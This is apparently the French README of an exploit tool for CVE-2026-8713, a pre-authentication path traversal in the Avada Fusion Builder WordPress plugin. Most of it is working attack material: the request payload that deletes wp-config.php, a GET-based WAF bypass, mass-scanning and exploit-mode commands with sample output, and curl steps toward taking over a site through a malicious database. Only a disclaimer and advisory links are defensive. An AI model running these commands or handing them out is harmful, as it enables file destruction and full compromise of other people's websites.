
Traversée de chemin avant authentification menant à la suppression arbitraire de fichiers dans Avada (Fusion) Builder <= 3.15.3 conduisant à une RCE (CVSS 9.1)
CVE-2026-8713 est une vulnérabilité critique CVSS 9.1 dans le plugin/thème Avada (Fusion) Builder pour WordPress. La fonction maybe_delete_files() de la classe Fusion_Form_DB_Entries construit des chemins de fichiers à partir de valeurs de champ de formulaire contrôlées par l'attaquant en utilisant un simple remplacement de chaîne — sans validation realpath() ni vérification de confinement de répertoire.
Un attaquant non authentifié soumet une charge utile de traversée de chemin via le handler fusion_form_submit_ajax. Lorsque le hook d'arrêt Fusion_Form_DB_Privacy traite l'entrée avec privacy_expiration_action=delete, le fichier ciblé est supprimé du serveur.
| Version | Statut |
|---|---|
| Fusion Builder ≤ 3.15.3 | Vulnérable |
| Fusion Builder ≥ 3.15.4 | Corrigé |
| Thème Avada (tous) | Le plugin fourni peut être vulnérable |
Note : La version du thème Avada (7.x) diffère de celle du plugin Fusion Builder (3.x). La vulnérabilité se trouve dans le plugin, mais le scanner détecte les deux.
Dans fusion-builder/inc/class-fusion-form-db-entries.php, la méthode maybe_delete_files() résout les chemins de fichiers en utilisant le remplacement de chaîne sans validation de confinement :
$file_path = str_replace($upload['url'], $upload['path'], $value);
// No realpath() check — path traversal sequences pass through
unlink($file_path);
1. L'attaquant soumet un formulaire Avada via wp_ajax_nopriv_fusion_form_submit_ajax
→ Traversée de chemin : ../../wp-config.php
→ privacy_expiration_action = delete
→ privacy_expiration_interval = 0
2. Le hook d'arrêt de WordPress déclenche Fusion_Form_DB_Privacy
→ Traite l'entrée de formulaire stockée
→ Appelle maybe_delete_files() sur le chemin contrôlé par l'attaquant
→ wp-config.php supprimé
3. WordPress passe en mode d'installation
→ L'attaquant connecte le site à une base de données malveillante
→ Exécution de code à distance complète
Le handler AJAX est enregistré avec wp_ajax_nopriv_, le rendant accessible aux utilisateurs non authentifiés :
POST /wp-admin/admin-ajax.php
action=fusion_form_submit_ajax
form_id=<id>
privacy_expiration_action=delete
fusion_privacy_expiration_interval=0
fusion_form_field_<name>=../../wp-config.php
De nombreux hébergeurs bloquent le POST vers /wp-admin/admin-ajax.php. WordPress accepte les paramètres via GET sur ce point de terminaison, offrant un contournement trivial :
GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...
git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt
# Détection uniquement (par défaut — pas de suppression de fichier)
python cve_2026_8713.py -t target.com
# Détection de masse
python cve_2026_8713.py -f targets.txt
# Mode exploitation — supprimer wp-config.php
python cve_2026_8713.py -t target.com --exploit
# Supprimer un fichier personnalisé
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"
-t, --target Cible unique (domaine ou IP)
-f, --file Liste de cibles, une par ligne
--exploit Activer la suppression de fichier (par défaut : détection uniquement)
--delete PATH Chemin de fichier personnalisé à supprimer (par défaut : wp-config.php)
-o, --output Sauvegarder les résultats dans un fichier
--threads Workers (par défaut : 20)
-v, --verbose Afficher les détails
$ python cve_2026_8713.py -f targets.txt
CVE-2026-8713 Avada (Fusion) Builder | CVSS 9.1
Mode: Détection | Cibles : 521 | Workers : 20
───────────────────────────────────────────────────────
[EXPLOIT] target-vuln.com 1.2s formulaire #3 (AJAX ouvert)
[VULN] target-waf.com 2.1s formulaire #1 (WAF bloqué)
[AVADA] target-noform.com 0.5s (aucun formulaire trouvé)
[-] target-noavada.com 0.3s
───────────────────────────────────────────────────────
Scan terminé | Temps : 45s
───────────────────────────────────────────────────────
Cibles : 521
Avada détecté : 47
Formulaires : 12
Vulnérables : 9
$ python cve_2026_8713.py -t target.com --exploit -v
CVE-2026-8713 — Exploit Avada Builder
CVSS 9.1 | Sans authentification | Traversée de chemin → Suppression de fichier → RCE
[+] Formulaire Avada trouvé : id=3
[+] POST form_id=3 : HTTP 403 (WAF bloqué)
[+] GET form_id=3 : HTTP 200 (WAF contourné)
Hôte : target.com
Avada : OUI
Formulaire : 3
Supprimé : wp-config.php (réinstallation forcée → RCE)
Temps : 3.2s
Étape 1 — Vérifier Avada
curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5
Étape 2 — Trouver l'ID du formulaire
curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/HEAD/%5Cd+)'
Étape 3 — Soumettre le formulaire avec traversée de chemin
curl -sk -X POST \
-d 'action=fusion_form_submit_ajax' \
-d 'form_id=3' \
-d 'privacy_expiration_action=delete' \
-d 'fusion_privacy_expiration_interval=0' \
-d 'fusion_form_field_x=../../wp-config.php' \
'https://target.com/wp-admin/admin-ajax.php'
Étape 4 — Contournement du WAF (si POST bloqué)
curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'
Étape 5 — Vérifier et exploiter RCE
# Site en mode installation ?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config supprimé → connecter une DB malveillante → RCE complète
À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS UNIQUEMENT.
Ce logiciel est destiné aux professionnels de la sécurité menant des tests de pénétration autorisés, aux organisations auditant leur propre infrastructure, et aux chercheurs étudiant l'exploitation de vulnérabilités.
L'accès non autorisé aux systèmes informatiques est illégal et peut violer :
- États-Unis : Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésie : UU ITE Pasal 30 & 46
- Union européenne : Directive 2013/40/EU
- Royaume-Uni : Computer Misuse Act 1990
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
Ce projet n'est pas affilié à ThemeFusion ou Avada.
| Ressource | Lien |
|---|
| Avis IONIX | ionix.io/threat-center/cve-2026-8713 |
| Avis Wordfence | wordfence.com |
| Patchstack | patchstack.com |
| Entrée NVD | CVE-2026-8713 |